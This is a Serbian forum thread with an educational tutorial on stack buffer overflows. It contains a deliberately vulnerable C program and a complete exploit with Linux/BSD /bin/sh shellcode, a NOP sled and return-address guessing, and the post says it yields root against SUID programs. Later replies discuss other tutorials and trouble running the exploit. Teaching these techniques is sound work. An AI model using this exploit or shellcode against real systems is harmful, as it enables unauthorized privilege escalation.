Šta je to Buffer Overflow

Šta je to Buffer Overflow

offline
  • Peca  Male
  • Glavni Administrator
  • Predrag Damnjanović
  • SysAdmin i programer
  • Pridružio: 17 Apr 2003
  • Poruke: 23211
  • Gde živiš: Niš

Naime, buffer overflow je prepunjavanje buffera i pisanje po prostoru po kome ne bi smelo da se pise. Ali sta se time dobija? Sta se moze postici? Da bi se odgovorilo na ova pitanja mora se pogledati kako se vrsi izvrsavanje programa i sta sa tim. Programi se izvrsavaju tako sto se EIP register(instruction pointer) puni sa adresom sledece instrukcije. Evo i prostog programa koji u sebi sadrzi klasican buffer overflow :

int main(int argc,char **argv)
{
   char buf[256];
   strcpy(buf,argv[1]);
   printf("passed : %sn",buf);
}


Svaka funkcija koja se poziva mora da se vrati na mesto svog poziva.To se radi tako sto se pri pozivu funkcije sa instrukcijom call na stacku sacuva EIP koji ce se na kraju funkcije pokupiti i vratiti na mesto poziva.Kako je main() funkcija i ona ce biti pozvana (disass _start) i njen EIP ce biti sacuvan negde na stacku. Na samom kraju funkcija nalazi se instrukcija ret koja ce sacuvan EIP sa stack-a da pokupi i da se na taj nacin vrati odakle je pozvana. tok programa : | |----------->funkcija--+ |<------------------| | Sad malo da disassemblujemo main i vidimo sta se radi (vuln.c)

push %ebp
movl %esp,%ebp
subl $0x100,%esp

Prve dve instrukcije cuvaju %ebp i zatim u njega stavljaju %esp, pretvrajuci %ebp u frame pointer za pristupanje parametrima funkcije.(sada ce neko da kaze, a sta je sa -fomit-frame-pointer). Instrukcija: subl $0x100,%esp ce na stacku da napravi prostor za 256 byte koliko smo mi i trazili da nam se obezbedi. (stack na i386 raste nadole) i situcaija na stacku je ovakva : [256 byte za buf][ebp ][eip ] EIP je sacuvan pri call instrukciji. Ako se preda veliki buffer 256+8 A (hex 0x41) to ce ovako da izgleda: [256 byte za buf] [ebp ][eip ] AAAAAAAAAA AAAA AAAA i kad funkcija na kraju okine ret ona ce u EIP da stavi 0x41414141 i program ce da padne. Ali sta ako u EIP stavimo adresu shell coda koji cemo da ubacimo u buf? E onda cemo da dobijemo poentu svega ovog i preusmericemo EIP na nas shell code i b00m imacemo shell. Ako je program SUID to daje root-a ako nije onda samo shell.

#include<unistd.h>
#include<stdlib.h>
char shell_code[]=   //My Linux shell code :o)
"xebx15x5bx31xc0x88x43x07x89x5b"
"x08x89x43x0cx8dx4bx08x89xc2xb0"
"x0bxcdx80xe8xe6xffxffxff/bin/sh";

// FreeBSD,NetBSD and OpenBSD shell code by me :o)<
//"xebx17x5bx31xc0x88x43x07x89x5bx08x89x43x0cx50x8d"
//"x53x08x52x53xb0x3bx50xcdx80xe8xe4xffxffxff/bin/sh";

#define NOP 0x90 //NOP instrukcija je no instruction i kad se dodje na nju
//tok programa se nastavlja dalje povecavajuci EIP za 1
//nista se ne radi
int get_esp()
{
  __asm__("movl %esp,%eax");
 }

//ovim dobijas stack pointer za nagadjanje adrese u ranjivom programu
//inace povratna vrednost iz funkcije se vraca u eax registru
//ovo bi bilo slicno sa :
//unsigned int get_esp(){ int pr;return (unsigned int)&pr;}

int main(int argc,char **argv)
{
   int *addr,esp,i,offset;
   char *buffer,*tmp;
   buffer=malloc(300);
   tmp=buffer;
   addr=(unsigned long *)tmp;
   offset=0;
   if (argc == 2)
     offset=atoi(argv[1]);
   esp=get_esp()-offset;
   for (i=0;i<300;i+=4)
     *(addr++)=esp;
   for (i=0;i<200;i++)
     *(tmp++)=NOP;
   for (i=0;i<strlen(shell_code);i++)
     *(tmp++)=shell_code[i];
   execl("./vuln","vuln",buffer,0);
   perror(""); //ako ne prodje execl onda da znam razlog
}

#make vuln #make expl #./expl -100 $

Napisao: Predator



Registruj se da bi učestvovao u diskusiji. Registrovanim korisnicima se NE prikazuju reklame unutar poruka.
offline
  • Pridružio: 05 Jun 2003
  • Poruke: 2075
  • Gde živiš: MaYur CitY

cenim ovaj predatorov spis :0 ali mislim da ima mnooogo boljih objasnjenja bof na srpskom



offline
  • Peca  Male
  • Glavni Administrator
  • Predrag Damnjanović
  • SysAdmin i programer
  • Pridružio: 17 Apr 2003
  • Poruke: 23211
  • Gde živiš: Niš

ako nadjes, post-uj ga

offline
  • SVITAC 
  • Legendarni građanin
  • Pridružio: 28 Apr 2003
  • Poruke: 5919
  • Gde živiš: Beograd

http://www.astalavista.com/index.php?page=74

offline
  • Pridružio: 29 Jan 2005
  • Poruke: 94
  • Gde živiš: Beograd, Srbija

Ehhh ovo sam davno pisao za zastitu bese to neki clanak =) ako se ne varam to je bila 2000ta ili u tom periodu =)
Ali lepo, lepo =) Sad prvi put vidim da sam nekad znao da napisem sredjen kod, citljiv =))
No sta da se radi, ali je cinjenica kada je ovo pisano, kao i ujedno i moj opsirniji prvi tutorial na ovu temu, buffer overflow gotovo da je bio i nepoznat na ovim prostorima...
A danas ima stvarno gomila tekstova na ovu temu, ali je sve manje rupa sa istim =)

offline
  • opo 
  • Novi MyCity građanin
  • Pridružio: 23 Jul 2005
  • Poruke: 3

O de s te haxori :PPPppp
geocities.com/im_happy_icefor/Staff/w32sbofflfba.pdf

offline
  • Pridružio: 03 Maj 2011
  • Poruke: 1

imam problem pri pokretanju ovog exploit-a

offline
  • Pridružio: 30 Dec 2007
  • Poruke: 4759
  • Gde živiš: Niš

jel nisi mozda na baktrk 4-R2 ?

Ko je trenutno na forumu
 

Ukupno su 939 korisnika na forumu :: 47 registrovanih, 5 sakrivenih i 887 gosta   ::   [ Administrator ] [ Supermoderator ] [ Moderator ] :: Detaljnije

Najviše korisnika na forumu ikad bilo je 3466 - dana 01 Jun 2021 17:07

Korisnici koji su trenutno na forumu:
Korisnici trenutno na forumu: A.R.Chafee.Jr., Areal84, bladesu, Bobrock1, Bojan5150, Boris90, Brana01, crnitrn, dane007, debeli, DejanSt, DENIRO, Dimitrije Paunovic, Dimitrise93, DPera, dragoljub11987, dule10savic, Georgius, gomago, ILGromovnik, JOntra, Još malo pa deda, Kubovac, laurusri, lord sir giga, Luka Blažević, milenko crazy north, nemkea71, nextyamb, Regrut Boskica, royst33, sasa87, shaja1, SlaKoj, slonic_tonic, Srle993, stankolich, Steeeefan, stegonosa, Stoilkovic, tubular, uros, vathra, wolf431, YugoSlav, zdrebac, 125